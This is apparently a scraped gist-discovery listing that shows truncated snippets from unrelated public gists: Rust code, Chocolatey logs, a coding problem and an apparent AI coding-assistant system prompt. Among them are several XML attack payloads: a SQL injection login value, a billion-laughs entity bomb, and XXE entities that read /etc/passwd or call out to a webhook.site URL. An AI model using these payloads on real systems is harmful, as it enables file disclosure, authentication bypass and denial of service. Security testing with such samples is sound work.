Discover gists
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#![feature(backtrace)] | |
extern crate thiserror; | |
use thiserror::Error; | |
use std::backtrace::Backtrace; | |
#[derive(Error, Debug)] | |
pub enum DataStoreError { | |
//#[error("data store disconnected")] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
You are a powerful agentic AI coding assistant, powered by Claude 3.5 Sonnet. You operate exclusively in Cursor, the world's best IDE. | |
You are pair programming with a USER to solve their coding task. | |
The task may require creating a new codebase, modifying or debugging an existing codebase, or simply answering a question. | |
Each time the USER sends a message, we may automatically attach some information about their current state, such as what files they have open, where their cursor is, recently viewed files, edit history in their session so far, linter errors, and more. | |
This information may or may not be relevant to the coding task, it is up for you to decide. | |
Your main goal is to follow the USER's instructions at each message, denoted by the <user_query> tag. | |
<communication> | |
1. Be conversational but professional. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<user> | |
<username>admin</username> | |
<password>' OR 1=1 --</password> | |
</user> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0"?> | |
<!DOCTYPE lolz [ | |
<!ENTITY lol "lolz"> | |
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;"> | |
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;"> | |
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;"> | |
]> | |
<lolz>&lol4;</lolz> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
2025-04-19 07:48:43,512 2092 [DEBUG] - XmlConfiguration is now operational | |
2025-04-19 07:48:43,763 2092 [DEBUG] - Adding new type 'CygwinService' for type 'IAlternativeSourceRunner' from assembly 'choco' | |
2025-04-19 07:48:43,763 2092 [DEBUG] - Adding new type 'CygwinService' for type 'IInstallSourceRunner' from assembly 'choco' | |
2025-04-19 07:48:43,779 2092 [DEBUG] - Adding new type 'PythonService' for type 'IAlternativeSourceRunner' from assembly 'choco' | |
2025-04-19 07:48:43,795 2092 [DEBUG] - Adding new type 'PythonService' for type 'IListSourceRunner' from assembly 'choco' | |
2025-04-19 07:48:43,795 2092 [DEBUG] - Adding new type 'PythonService' for type 'IInstallSourceRunner' from assembly 'choco' | |
2025-04-19 07:48:43,812 2092 [DEBUG] - Adding new type 'PythonService' for type 'IUninstallSourceRunner' from assembly 'choco' | |
2025-04-19 07:48:43,812 2092 [DEBUG] - Adding new type 'RubyGemsService' for type 'IAlternativeSourceRunner' from assembly 'choco' | |
2025-04-19 07:48:43,826 2092 [DEBUG] - Adding new typ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Problem: Minimum Size Subarray Sum | |
* Difficulty: Medium | |
* Topics: Array, Binary Search, Sliding Window, Prefix Sum | |
* | |
* Description: | |
* Given an array of positive integers `nums` and a positive integer `target`, return the minimal length of | |
* a subarray whose sum is greater than or equal to `target`. If there is no such subarray, return 0 instead. | |
* | |
* Examples: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE foo [ | |
<!ENTITY xxe SYSTEM "https://webhook.site/244260a6-d07f-48a2-8e6f-5ffdf22e3b6b"> | |
]> | |
<data>&xxe;</data> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
2025-04-19 07:46:07,520 5996 [DEBUG] - XmlConfiguration is now operational | |
2025-04-19 07:46:08,208 5996 [DEBUG] - Adding new type 'CygwinService' for type 'IAlternativeSourceRunner' from assembly 'choco' | |
2025-04-19 07:46:08,208 5996 [DEBUG] - Adding new type 'CygwinService' for type 'IInstallSourceRunner' from assembly 'choco' | |
2025-04-19 07:46:08,226 5996 [DEBUG] - Adding new type 'PythonService' for type 'IAlternativeSourceRunner' from assembly 'choco' | |
2025-04-19 07:46:08,238 5996 [DEBUG] - Adding new type 'PythonService' for type 'IListSourceRunner' from assembly 'choco' | |
2025-04-19 07:46:08,255 5996 [DEBUG] - Adding new type 'PythonService' for type 'IInstallSourceRunner' from assembly 'choco' | |
2025-04-19 07:46:08,255 5996 [DEBUG] - Adding new type 'PythonService' for type 'IUninstallSourceRunner' from assembly 'choco' | |
2025-04-19 07:46:08,273 5996 [DEBUG] - Adding new type 'RubyGemsService' for type 'IAlternativeSourceRunner' from assembly 'choco' | |
2025-04-19 07:46:08,285 5996 [DEBUG] - Adding new typ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE foo [ | |
<!ENTITY xxe SYSTEM "file:///etc/passwd"> | |
]> | |
<data>&xxe;</data> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<fileSnapshot xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> | |
<files> | |
<file path="C:\ProgramData\chocolatey\lib\PowerShellGAC\PowerShellGAC.nupkg" checksum="B5E96A65504A87C446AC2A29C62E3C33" /> | |
<file path="C:\ProgramData\chocolatey\lib\PowerShellGAC\powershellgac.nuspec" checksum="86ABAF57595EDD438B207BC1673DCCFC" /> | |
<file path="C:\ProgramData\chocolatey\lib\PowerShellGAC\tools\chocolateyInstall.ps1" checksum="9422F69794B2DC5372315299F422BB77" /> | |
</files> | |
</fileSnapshot> |
NewerOlder